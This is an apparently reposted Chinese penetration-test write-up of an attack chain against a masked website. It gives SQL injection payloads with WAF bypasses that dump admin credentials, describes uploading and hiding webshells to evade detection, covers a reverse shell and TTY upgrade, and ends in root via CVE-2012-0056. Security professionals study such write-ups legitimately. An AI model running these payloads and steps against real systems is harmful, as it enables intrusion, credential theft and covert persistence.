渗透实战 | 简单的拿下项目的root权限
2020-08-18 13:29:41 Author: forum.90sec.com(查看原文) 阅读量:620 收藏

0x00 前言

分享一个简单的项目,小有坎坷但仍旧几乎畅通无阻的最终拿下root权限。

先说重要的事情:如有 漏码少码 导致能定位目标请各位师傅手下留情。

图片

0x01 信息收集

过程略,收集到目标的主站、邮服、dns服务器,之后选择从主站入手。

0x02 漏洞挖掘

先在域名后随手加一个 admin 找到后台。

图片

回到前台,随意点点,发现可疑参数 id

图片
?id=125 and 1=0  页面变空白?id=125 and 1=1  
页面恢复正常确认存在数字型注入,数字型注入的payload后面一般不用加注释
(图略,打码太累了)

图片

?id=125 order by 7 页面正常?id=125 order by 8 
页面报错确认注入点查询7列(图略,打码太累了)
?id=125 union select 1,2,3,4,5,6,7  
使用union联合查询注入确认回显点时存在问题,页面迟迟无响应。
图片

猜想是有waf做了过滤,接下来逐步测试 waf 到底过滤了什么东西。

每个waf都有自己的过滤特征(以前的安全狗是出现一只狗),可以判断该waf的过滤特征就是页面无响应.

所以出现其他情况(正常回显,数据库报错等)都可判断是 绕过waf成功

 ?id=125 union 页面报错而不是无响应,说明waf没有过滤un 
图片
?id=125 union select 页面无响应,说明过滤了select或union select
图片
?id=125 union sElecT 
关键字大小写混用尝试绕过,页面依旧无响应,绕过失败(图略)

?id=125union /*!sElecT*/ mysql内联注释尝试绕过过滤,页面报错,绕过成功
图片
?id=125 union /*!sElecT*/ 1,2,3,4,5,6,7 
确认回显列,却没有在页面发现数字回显,依旧是正常显示着新闻。
(图略,打码太累了)

图片

?id=0 union /*!sElecT*/ 1,2,3,4,5,6,7 
怀疑是代码没有用循环输出,所以只能显示查询出的第一列,
正常查询的结果干扰了我们注入的回显。
于是更改前面的id为0,让程序查不出正常的数据,成功发现第2和第5列回显
图片

通过information_schema数据库找表找列的注入过程略,最终查出管理员账号密码的payload.

如下 :

(中间又被waf拦了一次,于是将内联注释做了一个升级,空格和union关键字也做了混淆最终绕过)

id=0/**/UniOn/**//*!50000sEleCt*/1,2,3,4,group_concat(concat_ws(‘@’,username,pwd)separator ‘<br>’),6,7/**/From/**/admin

这里解释一下, concat_ws函数 是将多个列的结果合并返回,以第一个参数为分割符。 group_concat 则是多个行的结果合并返回,以 separator后面指定的参数 (换行符)为分隔符,于是一条payload即可注出表中所有数据。

图片

登陆后台找到编辑器功能。

图片

上传图片处没有限制后缀也没有检测内容,上传webshell成功。

图片

右键查看图片地址,访问却404 Not Found了。

图片

查看编辑器框架的源代码。

图片

发现可疑链接

图片

尝试访问并测试成功,后面猜测 /resizeimage 里存放的是缩略图,上传的php文件无法处理成缩略图形式所以404,而 uploadfiles 里面存放的是原图。

图片

蚁剑连接成功,特别喜欢这个绿色的小框框。
图片

在隐蔽的目录下藏一个新的webshell,然后去后台把刚才的webshell删除,避免被轻易发现。
图片

0x03 反弹shell

用户权限不高,接下来尝试提权

图片

因为webshell基于 http协议(无状态协议)

前后操作没有关联,提权成功后下次操作还是会回到原点。所以要先反弹一个shell出来,这里用自己的vps,先关闭vps的防火墙。

图片

然后在vps上用nc监听9999端口。

图片

用webshell给目标服务器写入一个py的反弹脚本。

图片

在蚁剑上执行py脚本,可以看到vps上成功接收到shell。

图片

此时的shell仍然不是一个交互式shell,不能执行 交互性工作su命令 ,需要用 pty库 模拟一个终端出来,并用stty升级成完全交互式shell。

图片

看图不清楚的,文字描述过程如下:

$ python -c 'import pty;pty.spawn("/bin/bash")'

Ctrl+Z

// 这里是反弹shell挂起后在本机shell里的操作,stty升级后用fg把挂起的shell调出到前台

$ stty raw -echo

$ fg

// 这里重新进入了反弹shell,一开始页面会有点怪,执行了reset后就会恢复

$ reset

$ export SHELL=bash

$ export TERM=xterm-256color

$ stty rows columns

0x04 提升权限

开始提权,尝试使用 suid提权 :带有s标志的文件运行时会以创建者而非使用者的权限运行,一些敏感命令如果带有s属性可以用来提权。

查找了所有s标志位文件,试图用ping命令提权失败(忘了截图了)。

图片

改变思路,利用linux内核漏洞CVE-2012-0056成功提权。

图片

后面没了,内网渗透?

图片

0x05 总结

攻击链: 前台sql注入 —— 绕过waf —— 后台文件上传 —— 找到真实上传路径 —— 反弹shell —— 升级shell —— 内核漏洞提权

如有 漏码少码 导致能定位目标请各位师傅手下留情.

欢迎关注公众号:安译Sec

微信图片_20200818122832

文章来源: https://forum.90sec.com/t/topic/1257/1
如有侵权请联系:admin#unsafe.sh